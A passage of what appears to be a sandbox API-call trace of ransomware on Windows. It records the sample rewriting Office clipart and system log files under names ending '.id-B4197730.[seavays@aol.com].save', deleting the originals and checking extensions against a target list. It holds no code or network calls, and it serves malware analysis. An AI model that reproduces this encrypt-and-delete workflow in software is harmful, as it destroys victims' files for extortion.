nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0079.793] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0079.795] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.795] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.796] SetEndOfFile (hFile=0x394) returned 1 [0079.796] CloseHandle (hObject=0x394) returned 1 [0079.796] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.796] SetEndOfFile (hFile=0x2f0) returned 1 [0079.797] CloseHandle (hObject=0x2f0) returned 1 [0079.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0079.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0079.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0079.798] lstrlenW (lpString=".doc") returned 4 [0079.798] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.798] lstrlenW (lpString=".docx") returned 5 [0079.798] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0079.799] lstrlenW (lpString=".pdf") returned 4 [0079.799] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.799] lstrlenW (lpString=".xls") returned 4 [0079.799] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.799] lstrlenW (lpString=".xlsx") returned 5 [0079.799] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0079.799] lstrlenW (lpString=".ppt") returned 4 [0079.799] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0079.799] lstrlenW (lpString=".zip") returned 4 [0079.799] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.799] lstrlenW (lpString=".rar") returned 4 [0079.799] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.799] lstrlenW (lpString=".bz2") returned 4 [0079.799] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.799] lstrlenW (lpString=".7z") returned 3 [0079.799] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0079.799] lstrlenW (lpString=".dbf") returned 4 [0079.799] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0079.799] lstrlenW (lpString=".1cd") returned 4 [0079.799] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0079.799] lstrlenW (lpString=".jpg") returned 4 [0079.799] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.800] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.800] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.801] GetLastError () returned 0x0 [0079.801] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x9114, lpOverlapped=0x0) returned 1 [0079.804] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x9120, lpOverlapped=0x0) returned 1 [0079.806] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.806] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.806] SetEndOfFile (hFile=0x394) returned 1 [0079.806] CloseHandle (hObject=0x394) returned 1 [0079.806] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.806] SetEndOfFile (hFile=0x2f0) returned 1 [0079.807] CloseHandle (hObject=0x2f0) returned 1 [0079.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0079.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0079.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0079.809] lstrlenW (lpString=".doc") returned 4 [0079.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.809] lstrlenW (lpString=".docx") returned 5 [0079.809] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0079.809] lstrlenW (lpString=".pdf") returned 4 [0079.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.809] lstrlenW (lpString=".xls") returned 4 [0079.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.809] lstrlenW (lpString=".xlsx") returned 5 [0079.809] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0079.809] lstrlenW (lpString=".ppt") returned 4 [0079.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0079.809] lstrlenW (lpString=".zip") returned 4 [0079.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.809] lstrlenW (lpString=".rar") returned 4 [0079.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.809] lstrlenW (lpString=".bz2") returned 4 [0079.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.809] lstrlenW (lpString=".7z") returned 3 [0079.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0079.810] lstrlenW (lpString=".dbf") returned 4 [0079.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0079.810] lstrlenW (lpString=".1cd") returned 4 [0079.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0079.810] lstrlenW (lpString=".jpg") returned 4 [0079.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.811] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.811] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.812] GetLastError () returned 0x0 [0079.812] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1846, lpOverlapped=0x0) returned 1 [0079.813] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1850, lpOverlapped=0x0) returned 1 [0079.815] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.815] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.815] SetEndOfFile (hFile=0x394) returned 1 [0079.815] CloseHandle (hObject=0x394) returned 1 [0079.815] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.815] SetEndOfFile (hFile=0x2f0) returned 1 [0079.817] CloseHandle (hObject=0x2f0) returned 1 [0079.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0079.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0079.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0079.818] lstrlenW (lpString=".doc") returned 4 [0079.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.818] lstrlenW (lpString=".docx") returned 5 [0079.818] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0079.818] lstrlenW (lpString=".pdf") returned 4 [0079.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.818] lstrlenW (lpString=".xls") returned 4 [0079.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.818] lstrlenW (lpString=".xlsx") returned 5 [0079.818] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0079.818] lstrlenW (lpString=".ppt") returned 4 [0079.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0079.818] lstrlenW (lpString=".zip") returned 4 [0079.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.818] lstrlenW (lpString=".rar") returned 4 [0079.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.818] lstrlenW (lpString=".bz2") returned 4 [0079.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.818] lstrlenW (lpString=".7z") returned 3 [0079.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0079.819] lstrlenW (lpString=".dbf") returned 4 [0079.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0079.819] lstrlenW (lpString=".1cd") returned 4 [0079.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0079.819] lstrlenW (lpString=".jpg") returned 4 [0079.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.820] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.820] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.821] GetLastError () returned 0x0 [0079.821] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x2610, lpOverlapped=0x0) returned 1 [0079.823] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x2620, lpOverlapped=0x0) returned 1 [0079.827] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.827] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.827] SetEndOfFile (hFile=0x394) returned 1 [0079.827] CloseHandle (hObject=0x394) returned 1 [0079.827] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.827] SetEndOfFile (hFile=0x2f0) returned 1 [0079.828] CloseHandle (hObject=0x2f0) returned 1 [0079.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0079.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0079.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0079.830] lstrlenW (lpString=".doc") returned 4 [0079.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.830] lstrlenW (lpString=".docx") returned 5 [0079.830] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0079.830] lstrlenW (lpString=".pdf") returned 4 [0079.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.830] lstrlenW (lpString=".xls") returned 4 [0079.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.830] lstrlenW (lpString=".xlsx") returned 5 [0079.830] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0079.830] lstrlenW (lpString=".ppt") returned 4 [0079.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0079.830] lstrlenW (lpString=".zip") returned 4 [0079.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.830] lstrlenW (lpString=".rar") returned 4 [0079.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.831] lstrlenW (lpString=".bz2") returned 4 [0079.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.831] lstrlenW (lpString=".7z") returned 3 [0079.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0079.831] lstrlenW (lpString=".dbf") returned 4 [0079.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0079.831] lstrlenW (lpString=".1cd") returned 4 [0079.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0079.831] lstrlenW (lpString=".jpg") returned 4 [0079.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.832] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.832] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.833] GetLastError () returned 0x0 [0079.833] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0080.357] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0080.358] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.359] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.359] SetEndOfFile (hFile=0x394) Thread: id = 20 os_tid = 0xfec [0050.072] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3cc1268 [0050.072] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3cd1270 [0050.073] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce78 [0050.073] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x72d320 [0050.073] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcf50 [0050.073] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x4149020 [0050.076] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce90 [0050.076] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fce90, Size=0x20) returned 0x6deae8 [0050.076] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fd028 [0050.076] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fd028, Size=0x20) returned 0x6deb10 [0050.076] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0050.076] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0050.076] Wow64DisableWow64FsRedirection (in: OldValue=0x378ff50 | out: OldValue=0x378ff50*=0x0) returned 1 [0050.076] lstrlenW (lpString="kernel32.dll") returned 12 [0050.076] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deae8 | out: hHeap=0x6a0000) returned 1 [0050.076] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0050.076] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deb10 | out: hHeap=0x6a0000) returned 1 [0050.076] Sleep (dwMilliseconds=0x64) [0050.377] lstrcmpiW (lpString1=".log", lpString2=".save") returned -1 [0050.377] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0050.377] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.379] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=42674) returned 1 [0050.379] CloseHandle (hObject=0x2ec) returned 1 [0050.379] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0050.379] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.379] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.379] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.379] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.379] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.380] GetLastError () returned 0x0 [0050.380] ReadFile (in: hFile=0x2ec, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0050.394] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0050.396] ReadFile (in: hFile=0x2ec, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.396] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x11e, lpOverlapped=0x0) returned 1 [0050.396] SetEndOfFile (hFile=0x2f0) returned 1 [0050.396] CloseHandle (hObject=0x2f0) returned 1 [0050.398] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.398] SetEndOfFile (hFile=0x2ec) returned 1 [0050.399] CloseHandle (hObject=0x2ec) returned 1 [0050.399] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0050.399] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0050.399] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.399] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.399] lstrlenW (lpString=".doc") returned 4 [0050.400] lstrcmpiW (lpString1=".doc", 